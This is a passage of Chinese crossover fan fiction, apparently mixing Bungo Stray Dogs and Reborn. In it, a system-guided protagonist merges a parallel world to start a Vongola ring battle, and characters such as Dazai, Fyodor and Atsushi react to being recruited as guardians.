并事先提醒,“我生成的背景可能会有些奇怪。” 费奥多尔听出了对方的言下之意,调侃道:“像是您在那场自相残杀游戏中的一样?我们会再次失忆吗?” 失忆倒不会,就是以他对系统自动生成不靠谱的了解来看,他的背景可能会比那场自相残杀游戏中的更怪,也可能不会,总之皆有可能。 花言欲言又止,最终还是什麽都没说,考虑到他复制世界时的夸张特效,他从椅子上起身,远离了满是费奥多尔心血的计算机。 “那……我开始了。” “嗯。”费奥多尔坐在椅子上,桌面放置着“书页”,“如果您感觉自己承受不了的时候,记得要告诉我,我会立即无效“书页”上的内容,方便您中断。” 花言觉得应该没问题,毕竟系统一直安静无比,没有提出异议。 为了以防万一,他戳了一下系统。 [马路牙子,你应该都听见了,能做到吗?] 系统其实也不太确定,它了解的并不比花言多,它瞅了瞅桌上的“书页”,用力一点并不存在的头。 【能!】 实在不行还有“书页”打底,“书页”是这个世界的东西,如果真的要怪就怪攻略目标好了,怪不到它们头上。 吸取了上一次给自家宿主挖了坑的错误,系统这次事先询问对方。 【宿主,‘过去’是指环战副本,守护者会在跟你接触的人里随机抽选确定,你的背景身份也会自动生成最合理的,除此之外,还有什麽想要求的地方吗?】 花言觉得他没什麽要求了。 [背景身份稍微正常点,别再给我装多重身份了。] 【没问题!】 系统摩拳擦掌开始大展身手。 这可是它自家宿主和攻略目标共同选择的约会副本,看它努力再助自家宿主一臂之力! 熟悉的光点再一次自半空中凝聚,不同于上一次的短暂,这一次完美再现了默尔索监狱中的那一幕。 凝聚成形的书页不断翻动,直到从中脱落飞出,像是自由的星辰散落,它们不断在气流中起舞旋转扩散,白发青年那双容纳了世界所有色彩的眼眸在此刻倒映出无机质的金光,对方伸出手从周围零落的书页中接取了其中一页,犹如悲悯众生的神明在蔓延着死寂的倾塌世界中伸出的垂怜。 伴随着其他书页坠地变成光点的回归,对方手中接住的那一页也化为七道光点四散而去。 一股无形的气场骤然绽开,似坠入湖泊的露珠般毫不起眼又带着无法忽视的涟漪。 系统忽然抽了一口冷气,通过“书页”与自家宿主的异能之间的联系,反向抽取“书页”的力量。 费奥多尔余光注意到原本放置在桌面的“书页”似乎发生了变化,他视线从花言身上短暂地移开,只见“书页”突然开始自动浮现出淡金色的文本,字迹与花言所实体化给他的书中字迹相同。 花言敏锐察觉系统抽的那口冷气。 [出问题了?] 【没有啦……不是什麽大问题,现在已经好了。】 系统吞吞吐吐地试图蒙混过关。 【就是刚刚攻略目标不是为了增加你的成功率固定了结果吗?如果不是“书页”说不准现在真的失败了,所以既然前面借助了“书页”的力量,那后面副本的内容和流程当然也需要依托“书页”,问题不大。】 真的问题不大吗? 花言看见费奥多尔桌面上的“书页”已经散成光点一同混进他异能动画里了。 花言沉思了一秒。 算了,后面再复制一张给对方好了。 抽取的那张书页化为的七道流光中有一道停留在他手中,膨胀的光芒比之前要小,最后散去时落在手中的是一枚指环。 ——彭格列的大空指环。 看起来熟悉又陌生,熟悉是因为他认出了上面的图案,陌生是因为上面的图案只有三分之一。 三分之一……? 花言陡然陷入了沉默。 旋即瞳孔地震。 为什麽会是三分之一啊?! 这东西还能分成三份吗?! 马路牙子怎麽把人家指环切割了啊——?! 花言还没来得及倒抽冷气,接受在这个副本里系统吭哧吭哧重新分了人家指环的事实。寂静的房间中忽然响起展开纸张的细微声响,他转头发现费奥多尔手中正拿着外观同样熟悉的指环,以及一封已经被拆开的信件。 信封外观颇具仪式感地印了意大利mafia组织彭格列的家族徽章,里面的信件是什麽样的内容,花言就不清楚了。 费奥多尔脸上的表情有些奇怪,似乎是注意到了他的视线,轻轻咳了两声,抵住唇边的笑意,委婉地提醒。 “花言,您还是不要看比较好。” 这说的花言更好奇了。 他带着探究意味地靠近费奥多尔,后者也没有执意阻拦,相当纵容地将信件交给了他。 结果这一看,花言觉得费奥多尔说得对,有些事情还是不知道比较好。 只见上面白纸黑字地写着极其像是诈骗的话术。 ——“你好,我是意大利mafia组织彭格列十代目的候选者之一。其实我没有死,只是为了躲避其他候选者的追杀而隐忍蛰伏。 现在时机到了,只要打败其他候选者,以及他们的守护者,我就可以获得十代目首领之位。 所以我现在需要你们的帮助,只要你戴上雾之指环成为我的雾之守护者,助我登位成功,就给你记一个大功,等我将彭格列势力扩展到全世界后,封你为独一无二的彭格列雾之守护者。” 花言简直眼前一黑,指环一共有七枚,既然费奥多尔的这里有信件,那其他人估计也有…… 指环和信真的不会被其他人当作骗子的诈骗手段而丢进垃圾桶吗? 花言看了看信,又看了看费奥多尔,苍白地辩解。 “这不是我写的……也不是我的想法……” 费奥多尔指尖将对方被气流吹散的碎发挽回耳后,轻声笑道。 “嗯,我相信您。” 第105章 港口mafia首领室内光线昏暗,桌子上暖色调的台灯散发着明亮又极具局限性的光,照亮了桌面上呈放的东西,也勉强将房间内的四道身影从黑暗中剥离出轮廓。 身穿红裙的金发少女跪坐在地毯上用手中的蜡笔写写画画,坐在桌子后的黑发男人表情古怪,而站在桌子前的两道身影一个眼眸里充斥着怒意、一个垂头安静地注视地板。 森鸥外目光看着桌面上被台灯折射出细微反光的两枚指环,听见的事情过于离奇,连带着让他开口复述都有点匪夷所思,“你们是说……意大利的mafia组织彭格列里,有首领候选人招募守护者,招募到你们头上来了?” 中原中也和芥川龙之介不约而同地点头。 中原中也咬牙切齿地说道:“他们简直是太嚣张了!就算彭格列的规模和能力都比港口mafia要庞大,但这里可不是意大利!暂且不提只是一个候选人而已,还不一定能得到彭格列十代目的位置,现在的做派居然就已经开始模仿彭格列初代了,甚至妄图从港口mafia挖人!” 森鸥外没有接话,他指尖拿起桌面上的信。 这两封邀请信里面的内容和措辞不仅看起来十分不靠谱,连带着内容也都近乎一样,唯一不同的只有在指环和守护者位置上进行了区分,一个是“岚之指环”和“岚之守护者”,另一个是“雷之指环”和“雷之守护者”,透着说不清的敷衍。 如果只是恶作剧的挑衅又完全没必要把指环也一起送来,指环对于彭格列来说是继承人的信物,其重要程度不言而喻。 对方似乎并不担心他们会将指环送给胜率最大的那一方借此换取利益。 “像是确定我们一定会同意啊……”森鸥外感叹出声,听不出语气。 他看向面前的两人,提出了一个新的问题,“据我所知,彭格列目前明面上只有一位候选人,那一位也已经找齐了守护者。不过考虑到彭格列内部对于继承人的人选产生了分歧,门外顾问选择的人选似乎在东京,所以……邀请你们的会是他,还是完全未知的第三方呢?” 话音落下,两人都明白了森鸥外的意思。 中原中也皱眉回忆,“他身边应该有一个很强的幻术师,指环和信不是以常规手段送过来的,当时我正在处理文档,仅起身接杯水的功夫,桌面上就多出了这些。” 芥川龙之介说出了与中原中也不同的回答,“当时在下看见了一抹光点停留在眼前,下一秒光点扩大变换出了这些东西。” 中原中也:? 森鸥外:…… “听起来是十分熟悉的描述呢。”森鸥外沉默了片刻,确认道:“跟上次的一样吗?” 芥川龙之介点头。 森鸥外和中原中也彻底没话说了。 这一下这两封邀请信里的内容和措辞为什麽会显得如此随意的原因找到了,难怪对方会确定他们一定会同意,这确实没法拒绝。 上次花言拉他们进学院参与自相残杀游戏的事情还历历在目,如果对方参与了彭格列候选人之间战争,又用与上次同样的方式邀请了他们,等同于是在以这种方式告诉他们——有什麽无形的东西发生了他们无法意识到的改变。 在最后的学级裁判中对方坦然承认过能够利用“书”穿梭各个平行世界,而他们也接触过平行世界近乎相同的自己,如果有谁对他们记忆做了手脚——如那场自相残杀游戏中所发生的一样,那他们又该如何确定自己所在的世界是否正常,或者,该如何确定这里是不是他们的世界? 想要弄清楚答案只能去找花言。 但偏偏对方的行踪难以捕捉,除非对方自己想出现,否则他们都无法主动找到对方,因此这枚指环是能够接触对方的唯一途径,他们只能答应。 森鸥外把脸埋进手心,深深发出一声长叹,“没想到有一天我最得力的下属居然要去帮别人夺取其他mafia组织继承人的位置,还真是令人哭笑不得的发展……” “BOSS……” 中原中也的话卡在喉咙里还未说出,只见森鸥外抬起手阻止。 “这也是没办法的事情。麻烦你们去当花言的‘岚之守护者’和‘雷之守护者’,看他的想法,帮他得到继承人的位置吧。” 森鸥外把桌面上的指环推回,十指交叉撑在下巴处,意味深长地看向两人。 “还有一点,要记得尽可能地用最快速度弄清楚答案。” …… 花言正窝在沙发里尝费奥多尔给他买的绿豆糕,后者似乎已经注意到了他对中华街的一些糕点颇为喜爱,最近给他准备的下午茶都是这个。 手边是他上午调制的红茶,虽然他们耗费的时间有点多,导致红茶香味和口感都变淡了一些,不过这并不影响他享用。 一直吃东西也很累,花言从一开始端坐到支着下巴侧躺,原本扎好的头发在来回更换姿势更舒服的动作里松散,如银辉般的长发自沙发上倾泻而下,只余发稍末段缠绕着一节紫罗兰色发带。 书房的门被人拉开,费奥多尔从中走出,他视线一眼注意到了沙发上的身影。 “花言?” 花言假装自己没有满沙发乱滚,他坐起身擦了擦手上沾到的粉,维持住形象后才看向对方,“已经调查清楚了吗?” “嗯。” 费奥多尔捡起地上的发带,从茶几抽屉里拿出为对方准备的梳子,给对方重新梳理头发,他语气从容不迫地跟对方说明目前的情况。 “您做的很完美,没有人察觉到这个世界已经被平行世界所影响,平行世界的力量体系更改了这个世界的异能概念。” 甚至可以说,如果不是他亲自书写了“书页”,或许他也会以为这个世界从始至终都不存在异能这种东西。 但是新的问题也随之产生。 如果这个世界是“主干”,身为“枝丫”的平行世界能够做到更改“主干”吗?还是说……是因为有了比“主干”更为重要的部分介入,才导致“枝丫”做到了这一点呢? 费奥多尔给对方梳理发丝的手微顿,下一秒又重新落下。 由于花言是副本降临的主导者,感受不到力量体系的变化,他听见对方这句话惊讶地眨了眨眼睛,“居然真的可以?” “您似乎对您自己的能力有些不太了解。”费奥多尔轻轻笑了一声。 在对方跟他确认计划时他就注意到了这一点,对方对于通过自己能力造成的很多事情发展都不确定——是因为对方实体化没多久的缘故吗?所以在这方面还不熟练? “我也是第一次这麽做。” 花言幽幽瞥了一眼对方,用这种细微的反应告知对方这并不是他的问题。 费奥多尔感受到对方隐晦的谴责,态度极好地认错,“我知道了,花言,是我的问题。” 他提起了这个世界的变化,“平行世界覆盖之后,最为明显的是意大利那边以及东京的改变,其他则没有太大的变化,那个平行世界似乎只着重带来了这两个地方。” “毕竟这两个地方也是‘过去’这个时间段里最关键的地方。” 有人帮忙梳头,花言闲的没事继续吃桌上剩余的绿豆糕。 费奥多尔知道对方这句话背后的含义,“彭格列九代目和门外顾问各自所支持的继承人最初分别在这两个地方,对吗?” 花言敏锐察觉到了对方话语中的“最初”,“他们现在已经不在这两个地方了吗?” “嗯,九代目所‘支持’的XANXUS,已经带着他所率领的彭格列家族独立特殊暗杀部队“瓦利亚”来这个国家了。” 费奥多尔说出了他调查到的情报,“他们动作很快,像是已经知道了指环的另外两半在这,也像是知道指环持有者并不好对付。” 费奥多尔沉吟着说出了自己的猜测,“应该是您选择的其他守护者里有人猜出了您的身份,并泄露了出去,将他们吸引了过来。” 这比花言想象中的快,不过无伤大雅。 “你觉得会是谁?” “您不知道您其他守护者的身份?”费奥多尔读出了对方这句询问的另一层信息。 “我不知道。”花言直白地承认了这一点,“这是随机在跟我有接触过的人里抽选的。” 他忽然想到了一个绝妙的点子,“当时不是有流光飞出去了吗?你能不能帮我看看飞到什麽地方去了?” 只要知道飞到哪了,不就知道其他人是谁了吗? 费奥多尔:…… “花言,流光离您超出一段范围后会变得无法观测。” “噢……” 花言的绝妙点子逝去了。 费奥多尔察觉到手下青年萎靡下去的气息,无奈地叹了口气,“没关系,如果您很好奇,我会尽快帮您调查清楚的。” “其实我也不是很在意,相比之下,你如果有什麽想要借助这次世界融合达成的目的,最好尽快行动。” 有了上一次的副本经验,以及系统数据库的浏览权限,花言已经完全了解副本的结束方式了。 “如果我们这边的指环都被夺走,平行世界和这个世界就会重新分开。” 费奥多尔轻轻应了一声,指尖拉紧发带两侧,为对方梳理好头发,将梳子重新放回抽屉。 花言指尖捏起盘子里最后一小块绿豆糕,纠结了一秒,还是递到了费奥多尔面前当作对方帮他梳头的感谢。 原本他想着费奥多尔应该对甜食不感兴趣,这样他就能收回来自己吃了,但没想到后者居然低头轻轻咬走了手里的绿豆糕。 花言有些没反应过来,他下意识望着对方,思绪在指尖残留着那抹微凉柔软的触感与最后一块绿豆糕之间拉扯。 费奥多尔捕捉到了花言眼底的那一缕不舍,他没忍住笑了一声。 “我们去中华街吧,花言,我重新给您买。” 第106章 一层层橘红的晚霞悬挂在天际,沿海城市一向是能够最直观欣赏到黄昏朦胧感的地方,街道中人来人往,属于中华街独有的氛围在周围光线的下降中逐渐蔓延。 花言坐早茶餐厅里靠窗的位置,从窗口俯视下面街道中安置的一座小型喷泉,在不断升腾水花的顶部周围,宛如镜面般的池水倒映出天空被火烧云晕染开的色彩,升腾在半空中的水珠落下,在那片澄明的池面荡开一圈圈涟漪,显得其中的天空也在晃动。 他一边等着自己点的餐到齐,一边撑着腮帮子任由视线无意义地在楼下的景物中穿梭。 虽然一开始跟费奥多尔来这里,是为了买没吃够的绿豆糕当下午茶,但在进入中华街后,他又觉得吃绿豆糕有点太单调。既然来都来了,那当然要吃点好的。 对方也像是看出了他的想法,按照他今天的口味偏好把他带到了这里,对方似乎对这些吃的不感兴趣,在看他点好餐后起身帮自己去买绿豆糕当夜宵了。 所以费奥多尔当时果然是看出他只是想客气一下才故意吃的吧? 花言思绪偏移了一瞬。 “咔哒。” 瓷质碗碟碰撞在桌面的细微声响引走了花言的注意,他果断抛下那个问题,将注意力放在眼前已经上齐的茶点里。 没人规定早茶不能当下午茶吃,吃多了欧式下午茶,偶尔也要多尝尝中式下午茶。 花言夹起期待已久的燕窝酥皮蛋挞,确认这份茶点的味道没有辜负他的期待,才开始逐一品尝其他茶点。 身边似乎有谁坐下跟他共享同一把长椅,花言没有在意,只当是费奥多尔回来了。他接过对方递过来的水杯,喝了一口压下嘴巴里有点干巴的面点,自然地给将最喜欢的燕窝酥皮蛋挞推到对方面前。 “这个还挺好吃的,你尝尝。” “谢谢你,花言。” 耳边响起的声音裹挟着揶揄的笑意,虽然很熟悉,却不是花言预想中的那个人。 他心底闪过一丝错愕,来不及思考更多,身体本能赶在对方将罪恶之手伸向他的燕窝酥皮蛋挞前将那叠茶点端走。 花言端着茶点条件反射性起身,视线触及那双鸢色眼眸,其中浮着一层像是恶作剧得逞的笑意。 太宰治假装自己不是故意试探对方的,他疑惑地眨了眨眼睛,像是不明白对方为什麽会是这种反应,“花言?” 花言:…… 花言已经看穿了对方故意捉弄他的诡计。 “太宰治。”花言言简意赅地点评对方这种行为,“你多冒昧啊。” “唉——”太宰治佯装难过,发出一声失落的气音,“原来花言不是在邀请我?” 这不是在明知故问吗? 花言无动于衷地端着最喜欢的茶点重新坐下,“你怎麽会来找我?” “真是冷漠的问题呢,花言。” 太宰治指尖微动,一枚闪烁着微光的指环出现在手中,像是在呈现什麽证据,“我是得到你的‘邀请’才来找你的哦。” 花言目光落在那枚只有三分之一图案的戒指上,与大空指环不同,守护者所持有的指环形状设计都大体相同,只有在下方的属性图案上有所区分。 在只有三分之一的情况下,他有点难以辨认具体,只能通过对方得出答案,“是什麽?” “明明是花言先邀请我当你守护者的,现在却连我是什麽都不知道吗?”太宰治找到了可以借题发挥的地方,幽怨指责,“你在信里还说,只要助你登位成功,就封我做彭格列独一无二的‘雨之守护者’呢。” 花言默然盯着太宰治,对方会来找他根本就不是为了当什麽彭格列的‘雨之守护者’,也对这个不感兴趣,对方分明就是因为送到面前的信和指环察觉到了世界的异样,想要从他身上得到什麽验证而已。 他直白地挑明了信中话术,“这只是在‘画大饼’。” 他终归还是变成了自己讨厌的资本家模样。 太宰治确认了心中的猜想,撑着腮帮子笑吟吟地看着对方,“果然,花言,你根本不想当彭格列十代目首领吧?” 对方信中的邀请十分敷衍,连带着邀请的对象都是谁也不知道。 如果这些尚且可以用跟那所学院中出现自相残杀游戏情况的类似意外解释,那对方现在坦然又随意的模样则变相证明对方本身也不在意。 同样的,这也说明这个世界确实发生了一些他们意识不到的变化,并且……不同于上一次情况,这一次的这些变化极有可能在对方的意料之中,或者说,是对方有意为之。 考虑到指环与信出现的方式与上次相同,那麽这个世界发生的异样在什麽地方也很好猜——意大利mafia组织彭格列,甚至说不准与对方共同争夺继承人之位的其他两方也都不是这个世界的人。 “其实主要是太麻烦了,而且我也不想上班。” 为了避免让太宰治以为自己跟对方是同样的人,花言认真地分析,“如果要成为继承人,首先要先去其他两方那边抢戒指。其中一方是看起来很好打,实际上是拿着天才剧本有无限潜力的热血中学生;另一方是看起来就很难打,实际上真的很难打的彭格列独立特殊暗杀部队“瓦利亚”……” 花言说着又想起了什麽,补充道:“暂且不提现在我们还没碰面,还不知道比赛方式,如果之后碰面,出现了偏心裁判那更麻烦了——他们很恐怖的,会用可怕的规则限制你,比如说让你在眼睛都睁不开的大灯泡下面打擂台,而你的对手有墨镜,你没有。” “当然,更重要的是……” 花言语重心长地对太宰治说道:“你见过森鸥外的发际线吗?他只是港口mafia的首领就已经日日加班、繁忙操劳、勾心斗角、尔虞我诈、鞠躬尽瘁、死而……好吧,后面没有,总之就是一个港口mafia事情就这麽多了,当意大利mafia组织彭格列首领事情不得更多?” 万一他拼命赢下指环战了,系统给他整的奖励是保留意大利彭格列家族给他继承怎麽办?那种事情光是想想就很恐怖,花言绝对不会让那种情况发生的! 太宰治从对方说不想工作开始就有点想笑,听到后半句更是笑得乐不可支。 他擦了擦眼角笑出的泪花,“既然花言你对继承人的位置不感兴趣,那花言你将他们带到这个世界的原因是什麽呢?” 开玩笑,花言会说吗? 他势必不可能再给费奥多尔挖坑。 于是太宰治只见花言讳莫如深地表示——他有他的原因,自己以后就知道了。 太宰治有些诧异,“居然是要对我们保密的内容吗?” “没错。” 花言毫不犹豫地点头,点完头似乎是觉得自己将他们拉进了这场指环争夺战,还什麽都不说,有点太蛮不讲理,他给出了解决方案。 “如果你不想被波及,那可以等其他人来抢指环的时候直接给他们。” 太宰治:…… “……花言你说的我们像是凑数的一样随意。” 对方这句话说的让他更看不出对方做这一切的目的了,对方既不想成为彭格列继承人,又觉得指环争夺战很麻烦,一副不想跟其他人碰面的样子,那对方为什麽要参与进去呢? 还是说,如果不用这种方式,就没办法让不属于这个世界的事物出现在这个世界? 这看起来像是对方在以自身为锚点一样。 既然这样…… 太宰治若有所思地问道:“如果想要世界恢复原状,是不是只能等彭格列选出继承者?” 花言不置可否地回答,“差不多吧。” 其实也不用等,只要他们这一方手上的指环都被抢走就能提前迎来结束了,跟当时他在上一个副本一样。 不过考虑到这样说可能会让太宰治他们为了尽快结束,而反过来抢他们这一方的指环,他不太想出现自己会腹背受敌的情况,所以还是暂且保密好了。 太宰治没什麽想说的了,他在起身离开前不忘顺走花言桌面上的一块花生糕,顶着后者难以置信的视线,神色自若地告别。 “今天已经很晚了,我先回去了哦,花言。” 花言艰难咽下嗓子里的面点,有些想指责对方怎麽趁他不备偷吃,但又想到只是区区一块花生糕而已,说了会显得他很小气,于是只在墨镜下用幽怨的视线无声谴责对方。 太宰治叼着花生糕顺着这家餐厅的红木楼梯拾级而下。 伴随着夜晚的降临,这一家餐厅的人流也愈发密集,隔着数道身影,他忽然感受到了一抹来自于北国的熟悉寒意,这股气息让他下意识停住脚步回头望去。 密集的人流中有一道熟悉的身影正拾级而上——是费奥多尔。 后者手里似乎抱着什麽,从褐色纸袋的间隙里隐约可以看见花哨的包装纸,对方应该对这些甜腻的点心不感兴趣,因此这些是给谁带的已经不言而喻。 仿佛是感知到了他的视线,对方忽然侧头朝他望来,紫眸里神色平静,只有眼底略微深一点的阴郁告知着对方心情似乎不太好的事实。 这种反应让太宰治思绪本能开始分析费奥多尔在这其中扮演着什麽样的角色,思维推论到一半忽然卡住。 对方所做的事情都历历在目,但是唯独在“共噬”计划开始前——在那条巷子中,对方所说的话变得模糊不清。 他记得对方的目的是——想要一个没有……什麽的世界来着? 记忆中的异常在此刻爆发,太宰治瞬间意识到其实这个世界异常的地方不仅仅只有彭格列,这份异常引起了更多的违和感的诞生。 他不知怎麽想起了花言在学级裁判中被处刑时的画面——屠龙少年的舞台剧。 当时的平行世界由于夜晚校园的出现脱离了花言的控制,甚至在不断反向影响白天的学院,更改了规则,也强行让其他未参与那场自相残杀游戏的人以另一种方式参与其中,像是某种侵蚀。 如果将花言现在的行为带入其中,像极了屠龙少年终成龙的故事。 太宰治抬起脚步想要折返,又在脑海里闪过对方那晚在中华街巷子中对他所说的话时重新变得犹豫。 他眉头微蹙,视线望着已经看不见那两人人影的方向。 半晌,还是选择离去。 花言…… 应该没问题吧……? …… 从意大利到日本所需要的最长时间也不过一天,加上一些杂七杂八的路程可能也不会超过两天,但事实却是花言等了近一个星期都没等到“瓦利亚”找上门。 花言从一开始摩拳擦掌准备热血战斗,到后面躺在沙发上百无聊赖地玩丢橘子进嘴游戏。 横滨一片风平浪静的情况让他产生了疑惑。 难道“瓦利亚”不知道他们的情报? 不对……如果不知道怎麽会那麽快就出发。 那难道是“瓦利亚”不知道他们在哪? 这也不对,他记得“瓦利亚”里的那个幻术师可以准确搜索到目标的位置。 总该不会是那些人准备把他们放到最后对付,所以先去并盛找沢田纲吉了吧? 花言骤然陷入了沉思,如果是这样,那他可就要重操旧业了。 花言翻身从沙发上坐起,指尖捞过一旁的斗篷,在系上斗篷的同时不忘复制出墨镜戴上,行动力极高地拉开门准备去商业街刷流浪汉经验。 花言抬起的脚步还未完全落下,余光忽然注意到书房的门被人推开,熟悉的身影从中走出,费奥多尔抬起眼眸刚好与他对上视线,对方微微歪头,与寻常一样开口。 “您要出门吗?” 这让花言不由得思考为什麽对方总是能准确把控住自己出门的时间,跟在门口装了监控一样…… 不对,不会真装了吧? 花言不动声色地倒吸一口凉气,他墨镜下的眼眸悄然往上看了看,又往周围扫了一圈,没发现什麽可疑的地方。 吸进去的气又悄无声息地吐出,对方应该只是单纯听见了开门声出来看。 花言安心了,他搬出了以往的说辞,“嗯,去体验生活。” 费奥多尔明白了,对方原来是因为迟迟没有等到“瓦利亚”上门,所以感到无聊,想去擂钵街发茶泡饭,或是去商业街当流浪汉。 他若有所思地垂下眼眸,再次抬起看向对方时,唇边挽起一抹极容易让人放下戒备的温和笑意,“我陪您一起?” 花言:? 花言:! 花言惊恐地睁大了眼睛,真的假的,他真的要在费奥多尔面前摆碗刷流浪汉经验吗? 首先,他不歧视任何一样工作,其次,这要是份工作,最后,虽然他可能没怎麽主动去推攻略进度,但这并不意味着他能在攻略对象面前当流浪汉。 总有一种说不出的羞耻感。 “不……不要了吧……”花言吞吞吐吐地试图委婉拒绝,“你不是还有事情没忙完吗?” 费奥多尔看着门口青年手里揪着斗篷内侧在顾左右而言他,眼底的笑意加深,进一步向对方诉说自己的想法。 “我要处理的事情已经都处理好了,花言,我只是想了解您平时都在做些什麽。” 其实并不完全是这样。 费奥多尔早已知道对方口中的“体验生活”是在做什麽,因此他会想陪对方出门,是希望对方能够主动告知自己“体验生活”这个词汇背后所干的具体事情,同样也是出自于某种私心,想要尽量避免对方会在自己不知道的时候跟其他人再次接触,产生更多的、他所不知道的秘密。 之前就算了,他能理解那时各方对花言的注视,也有他的问题在其中,他错估了花言的性格。 但现在不同,对方答应了他的邀请,也愿意帮助他。 更何况,现在情况特殊,拿到指环的人会因此察觉到异样,将目光再次落在花言身上,并试图探寻花言的秘密,从中挖掘真相。 前几天在中华街,他只是出门给对方买个糕点的功夫,回来就能遇见太宰治从楼上下来,后者来这里做什麽,这个问题无需思考。 同样的,他不方便主动询问花言跟太宰治聊了什麽——就像是上次在中华街里他目送对方跟太宰治离开时一样。 他总要给花言一些空间的,否则以现在他们之间的关系,对方大概率会感到不满并开始远离他。 花言性格敏锐,连带着也很了解自己,就算他旁敲侧击,对方也极有可能察觉到这一点。 因此,最好的方法是陪对方一起去。 当然,如果花言有意想要瞒他,他也不会强行干预——就像是对方会顺应果戈里的异能被带走一样。 费奥多尔感受到对方没有立即回答的迟疑,“您……不希望我陪您吗?” “没有。” 花言压下想要刷流浪汉经验的想法,流浪汉只是一时的爱好,攻略目标才是最重要的,况且对方都说过希望自己陪着他了,那他如果现在拒绝对方,岂不是有点伤对方心了? 他宕机立断改变了主意,“你愿意陪着我真是太好了。” “没有让您为难就好。” 费奥多尔轻轻笑了笑,走到门口披上斗篷与花言一同出门。 虽然花言答应了对方,但现在要让他立即想一件除了刷流浪汉经验以外的事去干,有点太为难他了。 花言脚步放的很慢,试图以这种方式为自己争取更多的思考时间,费奥多尔也好脾气地没有催促。 每路过一个路口,花言都要思考下一步该走哪条路。 流浪汉经验是肯定不能刷了,要不然刷点“茶泡饭之神”…… 花言回想了一下自己阴魂不散追骗子流浪汉喂茶泡饭的事,又将刷点“茶泡饭之神”经验的想法划掉。 不过提起这个…… 花言想到了一个很严肃的问题。 [马路牙子,你说我现在再当流浪汉,算不算是骗子流浪汉,变成了自己最讨厌的样子?毕竟我有钱了。] 系统还以为对方要跟自己商量如何跟攻略目标更进一步,没想到就这点事。 它凝噎了一下才尽职尽责地跟对方讨论。 【我觉得应该不算,因为宿主您穿的光鲜亮丽,也没有假装残疾,这应该算愿者上鈎。】 更重要的是,就对方蹲那一整天赚的那点钱,还不如去商业街走一圈,它觉得对方走一圈捡到的钱都比这多。 花言:…… 怪了,他感觉自己好像被系统攻击了一下,错觉吗? 眼见花言脚步又要踏上同样的方向,费奥多尔觉得,照这样下去,他们一天的时间可能都要花费在路上,他不得不提醒。 “花言,这条路我们已经走过三次了哦。” “好……” 花言回过神换了一条路,这次走上了去商业街的路。 他已经想好要做什麽了,他决定捡自己干过的事中最普通的那一件——当算命仙人版雇佣兵。 费奥多尔见对方走向商业街,以为对方愿意在他面前袒露那些小癖好了,但没想到对方蹲在花坛边没有拿出碗,而是打量着来来往往的行人。 费奥多尔难得有些沉默,他陪着对方坐在花坛边,看着后者蹲了近一个小时才有所行动。 花言像是已经确定了目标,走上前对一名看起来畏畏缩缩的男人说出了听起来有几分像是诱骗的话术。 “这位先生,你是不是觉得最近有些倒霉?无论做什麽事都不顺心?” 花言目标找的很好,也很一目了然,往后的发展顺理成章。 费奥多尔明白对方在干什麽了,原来是在当“无所不知的算命先生”。 好吧,对方愿意在他面前袒露比较正经可靠这一面也很好,他能理解对方想要保持形象的想法。 这个猜测还未完全在费奥多尔脑海里消失。 只见花言继续说出了对方身上近期的困境,随后看人收费,拿到了五千日元,又跟反应过来有点后悔的目标拉扯了一下纸币,当然,对方没能拉扯过花言,最后花言握着纸币挥别目标,低头看了眼纸上的地址,随即拉着他重新抬起脚步,看起来要离开这条商业街。 费奥多尔有些困惑,“花言,接下来要去哪?” “去帮雇主……迷途之人解决烦恼。”花言用了好听一点的说法。 但是费奥多尔还是听出来对方的意思了。 他沉默许久,怎麽都没想到对方会被其他普通人称作能够更改命运的能力是这麽来的,这有点太朴实无华了。 不过……他也很欣赏对方的言出必行,毕竟一般人不会因为这点钱就替对方摆平一个困境。 花言看着纸上的地址思考着该如何去帮自己的“新雇主”,对方说最近总是被小混混勒索。 按理来说,他胖揍一顿小混混就行了,但是费奥多尔在身边,如果他二话不说找到小混混就上去胖揍会不会显得他很没有素质?是不是应该把小混混丢进局子里比较好? 可仔细想想费奥多尔都是国际通缉犯了,在这方面应该比他更熟练,也不会在意吧? 花言对于这个问题有点摇摆不定,犹豫着是该图省事,还是该维持一个良好的形象。 没等花言做出决定,一道宛如看见了救星的呼唤骤然从身后响起。 “花……花言先生——!” 花言下意识回过头,还没来得及看清那个向他冲过来的白色东西是什麽,手腕忽然被人握住,紧接着传来一阵力道将他拉了过去。 中岛敦原本看见熟悉的白发身影以为自己要得救了,但是没想到对方不是一个人,走在对方身边的居然不是路人,而是那个擅长操纵人心的“魔人”费奥多尔。 没等他思考这两人为什麽会在一起,只见那个费奥多尔忽然伸手拉过了花言,导致他原本想往花言身后躲的动作被打乱,一头栽倒在花言身边。 花言低头看着倒在脚边的白发少年,表示了一下关怀,“你没事吧?” “没……” 中岛敦后半句话被一道听起来格外荡漾的声音盖过。 “真是可爱的少年,以为自己能够逃掉吗?” 听见这个声音,中岛敦像是身体过电了一样爬起来,躲在花言……身边的电线杆后面。 “为……为什麽“瓦利亚”的‘晴之守护者’会是这样的怪人啊!”中岛敦发出了灵魂深处的吐槽。 “瓦利亚”的“晴之守护者”…… 花言沉默了一秒,有些明白为什麽中岛敦会是这种反应了,如果是强大的敌人倒没什麽,问题是“瓦利亚”的晴守不仅强大,性格还很怪…… 果然被骚扰了吧,太可怜了,中岛敦。 虽然以中岛敦单纯的性格对上“瓦利亚”的“晴之守护者”路斯利亚,极有可能会出现哪怕交出指环也会被杀的风险,但总比成为目标被追的满大街跑要好。 而且花言有一件更不理解的事情。 “这件事归根结底是我把你们牵扯进来的,如果你不想战斗,只要把指环交给他们就可以了,为什麽……要来找我呢?” 中岛敦居然这麽信任他吗? “唉?原来可以直接给他们吗?” 中岛敦茫然地眨了眨眼睛,旋即又逐渐反应过来了什麽,手足无措地解释。 “我的意思是,因为太宰先生说这是很重要的东西,弄丢的话后果很严重,他还说如果遇到解决不了的情况可以找你……所以我……” 花言:…… 原来指环是被太宰治当磨刀石了,他还被当保险栓了。 花言简直要被太宰治气笑了。 他现在就要绑架中岛敦,让对方知道把中岛敦推到他面前的后果。 第107章 中岛敦只觉得眼前白发青年表情变得可怕了起来,直觉让他不动声色地往柱子后面又挪了一点。 “哎呀呀,找到帮手了吗?” 一名染着夸张色彩头发的男人出现在三人面前,他穿着一身亮橘毛绒领大衣,戴着一副红边墨镜,浑身上下给人一种会自行发荧光的闪亮感。 路斯利亚目光扫过眼前的三人,停留在那道白发身影上,摸着下巴,“咦……你难道就是拿着大空指环的人吗?那你身边的这个难道就是你的‘雾之守护者’?” “真是得来全不费功夫呢,找了那麽久没想到会在这里遇见!”路斯利亚双手相握一副激动不已的模样,他朝一旁喊道:“玛蒙,你一直没找到的‘雾之守护者’有一位出现了哦~” 